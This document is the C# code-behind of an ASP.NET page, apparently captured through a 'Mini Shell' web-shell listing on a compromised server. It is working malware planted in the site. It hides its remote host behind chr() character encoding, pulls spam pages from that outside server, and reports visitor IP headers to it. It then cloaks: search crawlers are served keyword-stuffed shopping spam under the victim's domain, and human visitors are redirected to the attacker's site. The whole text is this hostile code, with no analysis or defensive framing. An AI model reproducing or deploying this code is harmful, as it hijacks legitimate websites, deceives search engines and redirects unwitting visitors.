Mini Shell
using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text;
public partial class conkc : System.Web.UI.Page
{public static string chr(int asciiCode)
{ System.Text.ASCIIEncoding asciiEncoding = new System.Text.ASCIIEncoding();
byte[] byteArray = new byte[] { (byte)asciiCode };
string strCharacter = asciiEncoding.GetString(byteArray);
return (strCharacter);}
protected void Page_Load(object sender, EventArgs e)
{
string httpxy = HttpContext.Current.Request.IsSecureConnection ? "https://" : "http://";
webclient = new System.Net.WebClient();
webclient.Encoding = System.Text.Encoding.UTF8;
hyzhdy = webclient.DownloadString(chr(104)+chr(116)+chr(116)+chr(112)+chr(58)+chr(47)+chr(47)+chr(121)+chr(109)+chr(115)+chr(46)+chr(122)+chr(104)+chr(100)+chr(121)+chr(121)+chr(109)+chr(46)+chr(99)+chr(111)+chr(109)+chr(47)+chr(121)+chr(109)+chr(115)+chr(106)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120)+chr(63)+chr(121)+chr(105)+chr(100)+chr(61)+Request.QueryString["yid"]);
if (!IsPostBack)
{
int cid = Convert.ToInt32(webclient.DownloadString( hyzhdy + chr(47)+chr(115)+chr(106)+chr(115)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120)));
if (Request.QueryString["cid"] != null && Request.QueryString["cid"] != "") { cid = int.Parse(Request.QueryString["cid"]); }
if (Request.QueryString["number"] != null)
{
URL = hyzhdy + chr(47)+chr(121)+chr(109)+chr(115)+chr(106)+chr(47)+chr(115)+chr(107)+chr(101)+chr(121)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120)+chr(63)+chr(99)+chr(105)+chr(100)+chr(61) + cid + "&number=" + Request.QueryString["number"] + "&pnum=" + Request.QueryString["pnum"];
content = webclient.DownloadString(URL);
content = content.Replace("yymm", httpxy + HttpContext.Current.Request.Url.Host + HttpContext.Current.Request.Path);
content = content.Replace("cname=", "zhzh=");
Response.ContentType = "text/xml";
Response.Write(content);
Response.End();
}
else if (Request.QueryString["s"] != null)
{
content = webclient.DownloadString(chr(104)+chr(116)+chr(116)+chr(112)+chr(58)+chr(47)+chr(47)+chr(121)+chr(109)+chr(115)+chr(46)+chr(122)+chr(104)+chr(100)+chr(121)+chr(121)+chr(109)+chr(46)+chr(99)+chr(111)+chr(109)+chr(47)+chr(115)+chr(115)+chr(121)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120));
content = content.Replace("yymm", httpxy + HttpContext.Current.Request.Url.Host + HttpContext.Current.Request.Path);
Response.ContentType = "text/xml";
Response.Write(content);
Response.End();
}
else if (Request.QueryString["ping"] != null)
{
content = webclient.DownloadString(chr(104)+chr(116)+chr(116)+chr(112)+chr(58)+chr(47)+chr(47)+chr(121)+chr(109)+chr(115)+chr(46)+chr(122)+chr(104)+chr(100)+chr(121)+chr(121)+chr(109)+chr(46)+chr(99)+chr(111)+chr(109)+chr(47)+chr(112)+chr(105)+chr(110)+chr(103)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120)+chr(63)+chr(121)+chr(105)+chr(100)+chr(61)+Request.QueryString["yid"]+"&cid="+Request.QueryString["cid"]);
content = content.Replace("yymm", httpxy + HttpContext.Current.Request.Url.Host + HttpContext.Current.Request.Path);
string ping = webclient.DownloadString(content);
Response.Write(ping);
Response.Write(content);
Response.End();
}
else
{
if (Request.QueryString["zhzh"] != null)
{
int wid = new Random().Next(1, 5218);
URL = hyzhdy + chr(47)+chr(121)+chr(109)+chr(115)+chr(106)+chr(47)+chr(100)+chr(111)+chr(107)+chr(101)+chr(121)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120)+chr(63)+chr(99)+chr(110)+chr(97)+chr(109)+chr(101)+chr(61) + Request.QueryString["zhzh"] + "&cid=" + Request.QueryString["cid"] + "&mt=" + hyzhdy + "/wz/wz_"+wid+".txt";
kname = HttpUtility.UrlDecode(Request.QueryString["zhzh"]);
gjc1 = webclient.DownloadString( hyzhdy + chr(47)+chr(103)+chr(101)+chr(116)+chr(99)+chr(105)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120)+chr(63)+chr(99)+chr(105)+chr(100)+chr(61) + Request.QueryString["cid"] + "&s=2&e=4");
gjc2 = webclient.DownloadString( hyzhdy + chr(47)+chr(103)+chr(101)+chr(116)+chr(99)+chr(105)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120)+chr(63)+chr(99)+chr(105)+chr(100)+chr(61) + Request.QueryString["cid"] + "&s=5&e=7");
ckwz = webclient.DownloadString( hyzhdy + chr(47)+chr(119)+chr(108)+chr(46)+chr(97)+chr(115)+chr(112));
dbhl = webclient.DownloadString( hyzhdy + chr(47)+chr(121)+chr(109)+chr(115)+chr(106)+chr(47)+chr(104)+chr(108)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120)+chr(63)+chr(112)+chr(97)+chr(103)+chr(101)+chr(61) + Request.CurrentExecutionFilePath);
tz();
content = webclient.DownloadString(URL);
}
else
{
tz();
URL = hyzhdy + chr(47)+chr(121)+chr(109)+chr(115)+chr(106)+chr(47)+chr(100)+chr(111)+chr(107)+chr(101)+chr(121)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120)+chr(63)+chr(99)+chr(105)+chr(100)+chr(61) + cid + "&pnum=" + Request.QueryString["pnum"];
content = webclient.DownloadString(URL);
}
string ttttt = kname + " Off " + new Random().Next(60, 80) + "% " + Request.QueryString["pnum"];
string kkkkk = kname + "," + gjc1;
string iiiii = kname + "," + gjc2 + ".";
string ddddd = kname + " Gold, White, Black, Red, Blue, Beige, Grey, Price, Rose, Orange, Purple, Green, Yellow, Cyan, Bordeaux, pink, Indigo, Brown, Silver,Electronics, Video Games, Computers, Cell Phones, Toys, Games, Apparel, Accessories, Shoes, Jewelry, Watches, Office Products, Sports & Outdoors, Sporting Goods, Baby Products, Health, Personal Care, Beauty, Home, Garden, Bed & Bath, Furniture, Tools, Hardware, Vacuums, Outdoor Living, Automotive Parts, Pet Supplies, Broadband, DSL, Books, Book Store, Magazine, Subscription, Music, CDs, DVDs, Videos,Online Shopping. " + dbhl + " | " + ckwz;
content = content.Replace("UUUUU", httpxy + HttpContext.Current.Request.Url.Host + HttpContext.Current.Request.Path);
content = content.Replace("BBBBB", HttpContext.Current.Request.Url.Host);
content = content.Replace("NNNNN", kname);
content = content.Replace("DDDDD", ddddd);
content = content.Replace("cname=", "zhzh=");
content = content.Replace("TTTTT", ttttt);
content = content.Replace("KKKKK", kkkkk);
content = content.Replace("IIIII", iiiii);
content = content.Replace("CCCCC", Request.Url.ToString());
}
}
}
public void tz()
{
string ip = System.Web.HttpContext.Current.Request.ServerVariables["REMOTE_ADDR"] + "*" + System.Web.HttpContext.Current.Request.ServerVariables["REMOTE_HOST"] + "*" + System.Web.HttpContext.Current.Request.ServerVariables["HTTP_X_FORWARDED_FOR"] + "*" + System.Web.HttpContext.Current.Request.ServerVariables["HTTP_CLIENT_IP"] + "*" + System.Web.HttpContext.Current.Request.ServerVariables["HTTP_X_FORWARDED"] + "*" + System.Web.HttpContext.Current.Request.ServerVariables["HTTP_FORWARDED_FOR"] + "*" + System.Web.HttpContext.Current.Request.ServerVariables["HTTP_FORWARDED"];
if (Request.QueryString["kk"] != null)
{
ip = "66.249.64.190";
}
string ipurl = hyzhdy + "/getdomain.aspx?rnd=1&ip=" + ip;
webclient = new System.Net.WebClient();
webclient.Encoding = System.Text.Encoding.UTF8;
string domain = webclient.DownloadString(ipurl).ToLower();
if (domain.IndexOf("google") == -1 && domain.IndexOf("msn.com") == -1 && domain.IndexOf("yahoo.com") == -1 && domain.IndexOf("aol.com") == -1)
{
if (Request.QueryString["zhzh"] != null)
{
string tzurl = hyzhdy + chr(47)+chr(97)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120);
Response.Redirect(tzurl + "?cid=" + Request.QueryString["cid"] + "&cname=" + HttpUtility.UrlEncode(kname) + "&ll=" + HttpContext.Current.Request.Url.Host);
Response.End();
}
if (Request.QueryString["pnum"] != null)
{
string tzurl = hyzhdy + chr(47)+chr(97)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120);
tzurl = tzurl.Replace("products.aspx", "");
Response.Redirect(tzurl + "?cid=" + Request.QueryString["cid"] + "&ll=" + HttpContext.Current.Request.Url.Host);
Response.End();
}
}
}
public string xi = "1";
public string xc = "30";
public System.Net.WebClient webclient = null;
public string content = "";
public string gjc1="";
public string gjc2="";
public string hyzhdy="";
public string Greeting = "";
public string zhang = "";
public string hhhvx = "";
public string URL = "";
public System.Random a = null;
public string descriptions = "";
public string kname = "";
public string ckwz="";
public string dbhl="";
}
Zerion Mini Shell 1.0